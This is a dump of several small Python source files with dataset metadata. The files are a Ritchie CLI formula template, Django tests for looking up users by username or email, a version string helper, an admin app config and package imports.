templates/create_formula/languages/python2/src/main.py
antoniofilhozup/ritchie-formulas
3c0317b8c2bc1abe0d1933fdc9b560e8786d4c81
[ "Apache-2.0" ]
97
2020-04-14T13:35:11.000Z
2022-01-05T19:01:13.000Z
#!/usr/bin/python2 import os from formula import formula input1 = os.environ.get("RIT_INPUT_TEXT") input2 = os.environ.get("RIT_INPUT_BOOLEAN") input3 = os.environ.get("RIT_INPUT_LIST") input4 = os.environ.get("RIT_INPUT_PASSWORD") formula.Run(input1, input2, input3, input4)
27.7
45
0.772563
43
277
4.790698
0.465116
0.174757
0.23301
0.291262
0.38835
0
0
0
0
0
0
0.035573
0.086643
277
9
46
30.777778
0.778656
0.061372
0
0
0
0
0.243243
0
0
0
0
0
0
1
0
false
0.142857
0.285714
0
0.285714
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
4
5bf6ce7c0324503525f5acf758a3c7d34aae585b
2,589
py
Python
misago/misago/users/tests/test_user_getters.py
vascoalramos/misago-deployment
20226072138403108046c0afad9d99eb4163cedc
[ "MIT" ]
2
2021-03-06T21:06:13.000Z
2021-03-09T15:05:12.000Z
misago/misago/users/tests/test_user_getters.py
vascoalramos/misago-deployment
20226072138403108046c0afad9d99eb4163cedc
[ "MIT" ]
null
null
null
misago/misago/users/tests/test_user_getters.py
vascoalramos/misago-deployment
20226072138403108046c0afad9d99eb4163cedc
[ "MIT" ]
null
null
null
import pytest from django.contrib.auth import get_user_model User = get_user_model() def test_get_user_by_username(db): user = User.objects.create_user("User", "test@example.com") assert User.objects.get_by_username("User") == user def test_getting_user_by_username_is_case_insensitive(db): user = User.objects.create_user("User", "test@example.com") assert User.objects.get_by_username("uSeR") == user def test_getting_user_by_username_raises_does_not_exist_for_no_result(db): with pytest.raises(User.DoesNotExist): User.objects.get_by_username("user") def test_getting_user_by_username_supports_diacritics(db): with pytest.raises(User.DoesNotExist): User.objects.get_by_username("łóć") def test_getting_user_by_username_is_not_doing_fuzzy_matching(db): User.objects.create_user("User", "test@example.com") with pytest.raises(User.DoesNotExist): User.objects.get_by_username("usar") def test_get_user_by_email(db): user = User.objects.create_user("User", "test@example.com") assert User.objects.get_by_email("test@example.com") == user def test_getting_user_by_email_is_case_insensitive(db): user = User.objects.create_user("User", "test@example.com") assert User.objects.get_by_email("tEsT@eXaMplE.com") == user def test_getting_user_by_email_supports_diacritics(db): user = User.objects.create_user("User", "łóć@łexĄmple.com") assert User.objects.get_by_email("łÓć@ŁexĄMple.com") == user def test_getting_user_by_email_raises_does_not_exist_for_no_result(db): with pytest.raises(User.DoesNotExist): User.objects.get_by_email("test@example.com") def test_get_user_by_username_using_combined_getter(db): user = User.objects.create_user("User", "test@example.com") assert User.objects.get_by_username_or_email("user") == user def test_get_user_by_email_using_combined_getter(db): user = User.objects.create_user("User", "test@example.com") assert User.objects.get_by_username_or_email("test@example.com") == user def test_combined_getter_handles_username_slug_and_email_collision(db): email_match = User.objects.create_user("Bob", "test@test.test") slug_match = User.objects.create_user("TestTestTest", "other@test.com") assert User.objects.get_by_username_or_email("test@test.test") == email_match assert User.objects.get_by_username_or_email("TestTestTest") == slug_match def test_combined_getter_raises_does_not_exist_for_no_result(db): with pytest.raises(User.DoesNotExist): User.objects.get_by_username_or_email("User")
34.986486
81
0.772113
391
2,589
4.723785
0.13555
0.142934
0.106118
0.121278
0.828912
0.800758
0.75203
0.674066
0.597185
0.597185
0
0
0.11124
2,589
73
82
35.465753
0.802694
0
0
0.244444
0
0
0.12978
0
0
0
0
0
0.2
1
0.288889
false
0
0.044444
0
0.333333
0
0
0
0
null
0
0
0
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
4
7515cab9f0a028029bef55425c5e4eb60a620e2d
168
py
Python
version.py
bigpizza/VoyagerTelegramBot
8b1e3cbebe9041b0ca341ce4d5d9835f5e12b4d9
[ "MIT" ]
null
null
null
version.py
bigpizza/VoyagerTelegramBot
8b1e3cbebe9041b0ca341ce4d5d9835f5e12b4d9
[ "MIT" ]
null
null
null
version.py
bigpizza/VoyagerTelegramBot
8b1e3cbebe9041b0ca341ce4d5d9835f5e12b4d9
[ "MIT" ]
null
null
null
bot_major_version = 0 bot_minor_version = 1 bot_patch_version = 2 def bot_version_string(): return f'{bot_major_version}.{bot_minor_version}.{bot_patch_version}'
21
73
0.791667
27
168
4.407407
0.444444
0.134454
0.252101
0
0
0
0
0
0
0
0
0.020134
0.113095
168
7
74
24
0.778523
0
0
0
0
0
0.35119
0.35119
0
0
0
0
0
1
0.2
false
0
0
0.2
0.4
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
0
0
4
753b2b28ce2527c37f374e890273af27f492e8f0
100
py
Python
project_name/apps/admin_site/apps.py
thnee/django-template
d1e4f8dfe65c86f64c9a06c8cc195dbe6658320e
[ "MIT" ]
1
2018-07-20T23:35:32.000Z
2018-07-20T23:35:32.000Z
project_name/apps/admin_site/apps.py
thnee/django-template
d1e4f8dfe65c86f64c9a06c8cc195dbe6658320e
[ "MIT" ]
null
null
null
project_name/apps/admin_site/apps.py
thnee/django-template
d1e4f8dfe65c86f64c9a06c8cc195dbe6658320e
[ "MIT" ]
null
null
null
from django.apps import AppConfig class AdminSiteConfig(AppConfig): name = 'apps.admin_site'
14.285714
33
0.76
12
100
6.25
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.16
100
6
34
16.666667
0.892857
0
0
0
0
0
0.151515
0
0
0
0
0
0
1
0
false
0
0.333333
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
7554c8a50d0eecee4554334191cda90a2174e47b
106
py
Python
sashimmi/actions/__init__.py
chpatton013/sashimmi
7c03832eb99dd7e96b59cbd3e4f7267c3819d3e5
[ "MIT" ]
null
null
null
sashimmi/actions/__init__.py
chpatton013/sashimmi
7c03832eb99dd7e96b59cbd3e4f7267c3819d3e5
[ "MIT" ]
null
null
null
sashimmi/actions/__init__.py
chpatton013/sashimmi
7c03832eb99dd7e96b59cbd3e4f7267c3819d3e5
[ "MIT" ]
null
null
null
from .command import CommandAction from .docker import DockerAction from .action import get_action_class
21.2
36
0.849057
14
106
6.285714
0.642857
0
0
0
0
0
0
0
0
0
0
0
0.122642
106
4
37
26.5
0.946237
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4